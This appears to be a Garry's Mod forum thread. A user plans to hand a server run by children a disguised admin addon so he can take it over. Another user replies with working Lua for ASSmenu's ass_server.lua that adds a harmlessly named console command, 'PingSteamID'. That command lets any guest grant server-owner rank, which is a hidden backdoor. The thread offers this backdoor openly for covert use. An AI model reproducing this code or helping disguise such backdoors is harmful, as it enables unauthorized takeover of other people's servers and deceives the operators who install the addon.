Extra-Admin tools to put in addon, changing commands

Posts 15 of 5 · Page 1 of 1
Extra-Admin tools to put in addon, changing commands
So I told a server I could scrape up an addon they wanted. I did, and now I'm thinking I could get an extra admin tool, name it "Addon part 2" and give it to them. Let's take ASSmenu for example. In that, you put ASSgiveownership "steamId" or something like that in your server.cfg. Now, since the server is ran by kids, they wouldn't give a shit about the whole steamID part, but they would get suspicious about the Assgiveownership part. Which lua file would I change the command in in ASSmenu? May be a big ask, but if anyone could help, thanks. Also, it doesn't need to be ASSmenu, just something other than FAdmin or ULX.
Tl;DR: I need someone to tell me the file name of an admin tool to change the command to give admin.
Quote Originally Posted by bezer123 View Post
So I told a server I could scrape up an addon they wanted. I did, and now I'm thinking I could get an extra admin tool, name it "Addon part 2" and give it to them. Let's take ASSmenu for example. In that, you put ASSgiveownership "steamId" or something like that in your server.cfg. Now, since the server is ran by kids, they wouldn't give a shit about the whole steamID part, but they would get suspicious about the Assgiveownership part. Which lua file would I change the command in in ASSmenu? May be a big ask, but if anyone could help, thanks. Also, it doesn't need to be ASSmenu, just something other than FAdmin or ULX.
Tl;DR: I need someone to tell me the file name of an admin tool to change the command to give admin.
Would you like a simple "backdoor" for ASSmenu, if so you'd just C+P the ASS_GiveOwnerShip command but rename it to something stupid like PingServer and change the permissions for the command to guest and then go nuts with it.
Quote Originally Posted by JDawg147 View Post
Would you like a simple "backdoor" for ASSmenu, if so you'd just C+P the ASS_GiveOwnerShip command but rename it to something stupid like PingServer and change the permissions for the command to guest and then go nuts with it.
yes, pretty much. The server doesnt have assmenu, so thats why I chose it.
But were is the command located?
Quote Originally Posted by bezer123 View Post
yes, pretty much. The server doesnt have assmenu, so thats why I chose it.
But were is the command located?
ass_server.lua

Dump this in after the actual ASS_GiveOwnership command, should work but if it doesn't I'll make a real backdoor.

Code:
concommand.Add( "PingSteamID",	
		function (pl, cmd, args) 	
			if (pl:HasLevel(ASS_LVL_GUEST)) then
			
				local other = ASS_FindPlayer(args[1])
				
				if (!other || !other:IsValid()) then
					ASS_MessagePlayer(pl, "Invalid Player!")
					return
				end
				
				if (other != pl) then
					other:SetLevel( ASS_LVL_SERVER_OWNER )
					ASS_SaveRankings();

					ASS_MessagePlayer(pl, "Ownership Given!")
				else
					ASS_MessagePlayer(pl, "You're an owner already!")
				end
			else
				ASS_MessagePlayer(pl, "Access Denied!")
			end
		end	
	)
Found an alternative backdoor


CLOSE THIS THREAD
Posts 15 of 5 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Need help?